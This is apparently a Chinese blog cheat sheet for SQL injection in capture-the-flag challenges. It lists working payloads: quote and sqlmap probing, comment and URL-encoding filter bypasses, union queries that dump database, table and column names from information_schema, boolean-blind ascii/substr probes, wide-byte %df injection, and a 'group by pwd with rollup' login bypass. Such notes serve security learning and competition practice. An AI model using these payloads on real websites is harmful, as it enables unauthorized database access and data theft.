CTF--SQL注入

10 篇文章 0 订阅

SQL注入思路:
1.是否存在SQL注入测试方法:(1)使用单引号’ (2)sqlmap:sqlmap.py -u http://*******
2.判断过滤的字符
SQL注入方式:
(1)单引号’ (2)or/and 1=1 (3)order by --猜测字段长度
(&&与||绕过过滤) 例:order by 1…
SQL绕过过滤方式:
(1)某一关键字被过滤:1.注释//
(如or、order) 2.<>方式 例:o/
/rder…
(2)#号被过滤是:用URL编码:%23代替
(3)逗号被过滤时:用join
例:’ union select * from(select database()) a join (select version()) b #
//显示当前数据库和当前数据库版本
’ union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b # (爆库、表、列在这个select语句中)
//显示所有数据库和当前数据库版本(group_concat把所有库名拼成一个字符串)
SQL注入:
※(1)可联合查询注入union – 结合两个select语句
例子:union select 1,2,3(order by语句中试出的长度)
得到信息后爆库名,如显示2则:union select 1,database(),3
//或者union select database() (爆出的库名)
接下来爆表名,union select table_name from information_schema.tables where table_schema=’***’
接下来爆列名,union select column_name from information_schema.columns where table_schema=’***’ and table_name=’***’
(库名) (表名)
得到列名后获取flag,union select *** from ***
(列名) (表名)
※(2)布尔型注入Boolean-based
使用函数:
1.length()–判断数据库名字长度
’ and length(database())=8 #
若返回404则错误,若返回正常则说明数据库长度是8
2.left()–判断数据库名字第一位
’ and left(database())<‘t’ #
若返回404则错误,若返回正常则说明首字母大于t,接下来在用>判断
3.ascii()、substr()–继续判断数据库名字
’ and ascii(substr(select database(), 1, 1)) > 64 # ----数据库第一个字母的ascii值
调整64的值,确定到字母
猜测表名类似,如:
’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)>64 #
//limit表示限制返回的记录数,依然用大于小于确定最终字母
(3)宽字节注入:%df’(被解析成一个宽字符,带单引号如:縗’,有了单引号就可以注入了)
https://blog.csdn.net/Huang921/article/details/78593839
(4)SQL注入:
如果判断逻辑是{对输入的用户名先看是否有一行数据存在,再去比较} ----看到源码
则使用group by pwd with rollup 来在查询结果后加一行,并且这一行pwd字段的值为NULL
具体注入语句:’ group by pwd with rollup limit 1 offset 2 #
(5)PHP防止SQL注入函数:
1.去除斜杠:get_magic_quotes_gpc() + stripslashes()
2.去除引号:htmlentities($str, X)
X = ENT_COMPAT //只转换双引号;X=ENT_QUOTES// 转换双引号和单引号;X=ENT_NOQUOTES// 不转换任何引号
(6)updatexml注入
参考网站:https://blog.csdn.net/m0_37921080/article/details/79951159

CTF(Capture The Flag)是一种信息安全竞赛,通常包含各种类型的信息安全挑战,其中SQL注入(SQL Injection)是一种常见的web安全攻击技术。在CTF的web安全挑战中,选手需要利用网站应用程序的漏洞执行SQL注入攻击,目的是从数据库中获取敏感信息。 SQL注入攻击的核心是利用用户输入与数据库交互时的不当处理,注入恶意的SQL语句。通过这种注入,攻击者可以控制数据库的查询过程,执行包括但不限于数据检索、修改、删除甚至数据库命令的执行等操作。 在CTF中,解决SQL注入问题通常包括以下几个步骤: 1. 发现注入点:选手需要通过各种手段(如测试特殊字符、逻辑判断、时间延迟等)来判断用户输入是否被直接插入到SQL查询中。 2. 构造注入payload:一旦找到注入点,选手需要构造特定的SQL语句来利用这个漏洞,这通常包括逻辑判断、联合查询、子查询等技术。 3. 数据提取:通过构造的SQL注入语句,选手可以提取数据库中的敏感信息,如用户数据、密码哈希值等。 4. 提取flag:在CTF竞赛中,通常存在一个包含“flag”的数据项,选手需要将获取的数据与flag格式对比,最终提交正确的flag格式以获得分数。 SQL注入攻击是非法的,在实际操作中,了解和学习SQL注入是为了更好地保护自己的网站免受此类攻击,而在CTF竞赛中,这种攻击则是为了学习和提高网络安全技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值